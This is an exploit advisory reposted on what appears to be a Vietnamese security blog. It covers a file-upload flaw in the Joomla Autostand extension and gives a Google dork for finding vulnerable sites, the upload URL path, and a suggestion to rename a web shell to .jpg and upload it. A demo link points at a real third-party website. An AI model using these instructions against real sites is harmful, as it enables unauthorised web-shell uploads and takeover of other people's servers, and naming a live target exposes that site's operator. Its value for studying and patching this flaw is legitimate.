Joomla Autostand File Upload Vulnerability

########################################################
# Google Dork: inurl:/images/autostand/
# Date: [22/11/2015]
# Exploit Author: Guardiran Security Team =>DeMoN
# Vendor Homepage: [http://100cms.org/extension/joomla/4801-Autostand]
# Software Link: [-]
# Version: All Version
# Tested on: [Win 8.1/Google chrome]
# CVE : [-]
########################################################
# DISCRIPTION: Hello Guys.
# This Is Like As RFU Bug.
# You Can Upload Your Image In Your Target.
# Also You Can Bypass Your Shell To .jpg Then Upload It In Target.
########################################################
# Exploit:
# Add This Link To Target After This The Words:
# /pt/ | /asp/ And The Other Words
# {/index.php?option=com_autostand&func=newItem}
########################################################
# Demo:
# http://smartonecity.com/pt//index.php?option=com_autostand&func=newItem
########################################################

Share on Google Plus

About Vo Uu

Tác Giả là người chuyên nghiên cứu về các kỹ thuật hacking, security, marketing, là người có góc nhìn lạ và đi sâu vấn đề cũng như là một con người thẳng thắn góp ý. Nếu sử dụng bài trên blog mong các bạn dẫn lại nguồn tác giả!!! Tác Giả rất mong có sự đóng góp hội ý từ cộng đồng để cho an toàn an ninh mạng việt nam ngày càng được an toàn hơn!!